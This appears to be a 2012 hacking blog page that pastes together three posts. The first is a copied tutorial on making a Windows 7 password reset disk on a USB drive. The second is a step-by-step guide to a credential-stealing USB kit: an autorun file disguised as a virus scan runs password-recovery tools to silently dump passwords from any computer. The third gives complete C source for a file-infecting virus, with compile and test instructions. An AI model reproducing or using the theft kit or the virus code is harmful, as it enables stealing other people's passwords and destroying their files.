Saturday, 13 October 2012

Use a USB Flash Drive to create Windows Password Reset Disk in Windows 7


Windows and Office

Use a USB Flash Drive to create Windows Password Reset Disk in Windows 7

Takeaway: In this edition of the Windows Desktop Report, Greg Shultz shows you how to create and use a Password Reset Disk in Windows 7 using a USB Flash Drive rather than a CD or floppy disk.
Do you have an old 128MB or 256MB USB Flash Drive in the back of your desk drawer gathering dust? If so, you can put that dusty old drive to use again as a Password Reset Disk for Microsoft Windows 7.
In this edition of the Windows Desktop Report, I’ll show you how to create and use a Password Reset Disk in Windows 7. As I do, I’ll show you how to use a USB Flash Drive rather than a CD or floppy disk.
(Keep in mind that the same procedure can be used in Windows Vista.)
This blog post is also available in PDF format in a TechRepublic download.

The USB Flash Disk

Before I show you how to create a Password Reset Disk, let’s take a moment to talk about the USB Flash Drive. Now the reason that I’m spotlighting your old, small-capacity USB Flash Drive is that it is really too small to be of much use in today’s world due to that fact that portable storage needs are now in the GB range. However, since the Password Reset file weighs in at only 2KB, it is the perfect use for an old USB Flash Drive.
To get started, insert your USB Flash Drive and wait for it to be initialized and assigned a drive letter. If there is any data on it, you may want to remove it. Now to make sure that the disk is in the best shape that it can be, you should format it. Right-click on the drive letter in Computer and select the Format command. When you see the Format dialog box, as shown in Figure A, just click the Start button.

Figure A

You should format the USB Flash Drive before you use it as a Password Reset Disk.

Creating a Password Reset Disk

Creating a Password Reset Disk is a pretty straightforward procedure. Once the drive is ready to use, click the Start button and type User Accounts in the Start Search box. Then, press [Enter] or click User Accounts in the results panel. Either way, you’ll see the User Accounts window and will need to locate and click Create a Password Reset Disk in the Tasks panel, as shown in Figure B.

Figure B

When the User Accounts window appears, click Create a Password Reset Disk in the Tasks panel.
When you see the Forgotten Password Wizard’s Welcome screen, take a look at the information and click Next. When you see the next screen, you’ll be prompted to choose your USB Flash Drive’s drive letter, as shown in Figure C. To continue, just click Next.

Figure C

Choose the drive letter assigned to your USB Flash Drive.
On the next screen, you’ll be prompted to type your password, as shown in Figure D. Then, click Next.

Figure D

When prompted, you’ll type in your password.
As soon as you do, you’ll see a progress bar that will move rapidly along to 100 percent. You’ll then click Next and will see the last screen in the Forgotten Password Wizard. To complete the operation, click Finish.
You should then click the Safely Remove Hardware and Eject Media icon, choose your USB Flash Drive’s drive letter, and then, when prompted to do so, remove the drive. You should label the drive and put it away in a safe place.
Now, you may be tempted to label the drive “Password Reset.” However, since anyone who happens upon this drive can use it to bypass your password and break in to your computer, I suggest a more subtle label — something that will help you recognize the drive but that isn’t so obvious.
Stay on top of the latest Microsoft Windows tips and tricks with TechRepublic’s Windows Desktop newsletter, delivered every Monday and Thursday.

Using a Password Reset Disk

If you ever forget and type in an incorrect password, the login screen will change and an error message will appear like the one shown in Figure E. To continue, you will have to click OK.

Figure E

At this point, the only thing you can do is click OK.
You’ll then return to the login screen and will see a message appear below the Password box, as shown in Figure F. At this point, you’ll insert your USB Flash Drive and wait for it to be initialized and assigned a drive letter. Then, to launch the Password Reset Wizard, you’ll click the Reset Password message.

Figure F

To launch the Password Reset Wizard, you’ll click the Reset Password message.
When you see the Password Reset Wizard’s Welcome screen, take a look at the information and click Next. In the next screen, you’ll be prompted to choose your USB Flash Drive’s drive letter, as shown in Figure G. To continue, just click Next.
Choose the drive letter assigned to your USB Flash Drive.
Once you select the drive, the Password Reset Wizard will open the saved file, read your saved password, and perform a few operations in the background. The wizard will then prompt you to create a new password, confirm it, as well as create a new hint, as shown in Figure H.

Figure H

You’ll need to create a new password, confirm it, and create a new hint.
Once you’ve filled in the text boxes, click Next. You’ll then see the success screen and will need to click Finish to complete the operation. You can now use the new password to log on to your Windows 7 system.

Note

As soon as you use the Password Reset Wizard to change your password, the information in the password reset file on the USB Flash Drive will be outdated. Therefore, as soon as you log back in to Windows, you should run the Forgotten Password Wizard again and create a new password reset file.

What’s your take?

Have you used a password reset disk in Windows before? What was your experience? Now that you can use a USB Flash Drive, do you think that the procedure will be easier?
Get IT Tips, news, and reviews delivered directly to your inbox by subscribing to TechRepublic’s free newsletters.
(sk)















HACK WINDOWS Passwords Using a USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and a USB pendrive, you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit:
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed:
Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit:
You must temporarily disable your antivirus before following these steps.
  1. Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.
    ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
  2. Create a new Notepad and write the following text into it:
    [autorun] open=launch.bat
    ACTION= Perform a Virus Scan
    save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy the autorun.inf file onto your USB pendrive.
  3. Create another Notepad and write the following text onto it:
    start mspass.exe /stext mspass.txt
    start mailpv.exe /stext mailpv.txt
    start iepv.exe /stext iepv.txt
    start pspv.exe /stext pspv.txt
    start passwordfox.exe /stext passwordfox.txt
    Save the Notepad and rename it from New Text Document.txt to launch.bat. Copy the launch.bat file to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps:
  1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
  2. In the pop-up window, select the first option (Perform a Virus Scan).
  3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
  4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP Vista and 7.
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.


Wednesday, 3 October 2012

This is not effect your system,,,,,



This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
  
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

Visitors who read this post, also read:
  1. How to Protect Your Computer from Keyloggers
  2. How Antivirus Software Works
  3. 10 Tips to Avoid Getting Adware

follow this link to know more virses:
http://realhackingtricks.blogspot.in/search/label/VIRUS%20CREATION